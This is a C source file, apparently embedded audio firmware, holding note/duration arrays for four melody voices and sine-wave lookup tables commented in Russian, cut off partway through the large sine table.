uint16_t MusicNote0[119][2] = {66,13, 73,13, 68,38, 69,13, 69,26, 66,12, 73,13, 68,39, 69,12, 71,13, 69,13, 66,50, 132,14, 68,13, 64,13, 62,12, 64,50, 132,2, 58,12, 66,13, 62,13, 61,13, 62,50, 132,1, 132,13, 68,13, 69,12, 71,13, 66,50, 132,1, 68,26, 66,13, 73,13, 68,38, 69,13, 69,25, 66,13, 73,13, 68,38, 69,13, 71,13, 69,13, 66,50, 132,14, 68,13, 64,12, 62,13, 64,50, 132,1, 58,13, 66,13, 62,13, 61,13, 62,12, 71,13, 69,13, 68,13, 66,13, 65,12, 63,13, 65,13, 66,13, 70,13, 71,12, 73,13, 71,13, 69,13, 68,13, 71,12, 73,13, 76,13, 69,13, 73,13, 72,12, 69,13, 68,13, 66,13, 69,13, 69,25, 71,13, 68,26, 132,25, 66,13, 73,13, 68,38, 69,13, 69,26, 66,12, 73,13, 68,39, 69,12, 71,13, 69,13, 64,50, 132,1, 132,13, 68,13, 64,13, 62,12, 64,50, 132,2, 58,12, 66,13, 62,13, 61,13, 62,13, 71,12, 69,13, 68,13, 66,13, 65,13, 59,25, 66,50, 132,1, 59,26, 56,26, 57,50, 132,52, 132,51};
uint16_t MusicNote1[60][2] = {132,26, 61,50, 132,52, 61,50, 132,27, 64,50, 132,1, 132,51, 59,50, 132,2, 132,64, 64,12, 66,39, 132,38, 69,50, 132,1, 65,26, 132,26, 61,50, 132,52, 61,50, 132,27, 64,50, 132,1, 132,51, 59,50, 132,1, 132,103, 61,25, 59,26, 58,13, 132,38, 74,13, 132,13, 64,13, 74,12, 68,26, 66,26, 66,25, 60,26, 63,50, 132,1, 65,26, 132,51, 61,50, 132,52, 61,50, 132,27, 66,50, 132,14, 132,38, 59,50, 132,2, 132,102, 61,26, 63,12, 65,13, 57,39, 57,12, 132,205};
uint16_t MusicNote2[121][2] = {132,26, 41,13, 49,12, 53,26, 42,13, 49,13, 54,25, 41,13, 49,13, 53,25, 42,26, 38,13, 45,13, 50,12, 52,13, 54,50, 132,1, 37,13, 44,13, 49,13, 50,13, 42,50, 132,1, 47,50, 132,1, 48,50, 132,1, 49,50, 132,27, 132,26, 41,12, 49,13, 53,26, 42,13, 49,12, 54,26, 41,13, 49,13, 53,25, 42,26, 38,13, 45,12, 50,13, 52,13, 50,50, 132,1, 37,13, 44,13, 49,13, 50,12, 42,50, 132,2, 54,50, 132,1, 49,25, 37,26, 42,13, 42,13, 44,12, 46,13, 47,26, 40,25, 45,26, 38,26, 39,4, 42,4, 45,4, 42,5, 45,4, 48,4, 45,4, 132,1, 48,4, 51,4, 48,4, 51,5, 54,4, 49,50, 132,27, 132,51, 41,13, 49,12, 53,26, 42,13, 49,13, 54,25, 41,13, 49,13, 53,25, 42,26, 38,13, 45,13, 50,12, 52,13, 54,50, 132,1, 37,13, 44,13, 49,13, 50,13, 42,50, 132,1, 47,25, 48,26, 49,26, 37,25, 42,13, 49,13, 54,13, 49,12, 50,13, 54,13, 47,13, 54,13, 49,12, 54,13, 49,13, 42,13, 30,50, 132,1, 132,51};
uint16_t MusicNote3[39][2] = {132,256, 50,50, 132,1, 132,52, 52,50, 132,1, 132,13, 54,12, 59,13, 54,13, 132,13, 51,13, 54,12, 57,13, 132,13, 54,13, 56,13, 59,38, 132,256, 54,50, 132,1, 132,51, 52,50, 132,2, 47,25, 48,26, 132,269, 54,12, 56,13, 59,39, 132,281, 50,50, 132,1, 132,52, 52,50, 132,1, 54,50, 132,1, 132,307};
//Количество элементов в синусоиде.
const uint16_t MesKOL [133] = {1958, 1849, 1745, 1650, 1554, 1467, 1385, 1307, 1234, 1165, 1099, 1038, 980, 925, 867, 824, 778, 734, 693, 654, 618, 583, 550, 519, 490, 463, 434, 412, 389, 368, 347, 328, 309, 292, 276, 260, 246, 232, 217, 207, 195, 184, 174, 164, 156, 146, 138, 131, 123, 116, 110, 104, 98, 93, 87, 83, 78, 74, 70, 66, 62, 59, 55, 52, 50, 47, 44, 42, 40, 37, 35, 33, 32, 30, 28, 27, 25, 24, 23, 21, 20, 19, 18, 17, 16, 15, 15, 14, 13, 12, 12, 11, 11, 10, 10, 9, 9, 8, 8, 7, 7, 7, 6, 6, 6, 6, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 1};
//Смещение первого элемента массива.
const uint16_t MesSM [133] = {0, 1958, 3807, 5552, 7202, 8756, 10223, 11608, 12915, 14149, 15314, 16413, 17451, 18431, 19356, 20223, 21047, 21825, 22559, 23252, 23906, 24524, 25107, 25657, 26176, 26666, 27129, 27563, 27975, 28364, 28732, 29079, 29407, 29716, 30008, 30284, 30544, 30790, 31022, 31239, 31446, 31641, 31825, 31999, 32163, 32319, 32465, 32603, 32734, 32857, 32973, 33083, 33187, 33285, 33378, 33465, 33548, 33626, 33700, 33770, 33836, 33898, 33957, 34012, 34064, 34114, 34161, 34205, 34247, 34287, 34324, 34359, 34392, 34424, 34454, 34482, 34509, 34534, 34558, 34581, 34602, 34622, 34641, 34659, 34676, 34692, 34707, 34722, 34736, 34749, 34761, 34773, 34784, 34795, 34805, 34815, 34824, 34833, 34841, 34849, 34856, 34863, 34870, 34876, 34882, 34888, 34894, 34899, 34904, 34909, 34914, 34918, 34922, 34926, 34930, 34934, 34938, 34941, 34944, 34947, 34950, 34953, 34956, 34959, 34962, 34965, 34967, 34969, 34971, 34973, 34975, 34977, 34979};
//Выдаем основной массив.
const uint8_t SinMES [34980] = {10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 20, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 19, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 9, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 10, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 15, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, 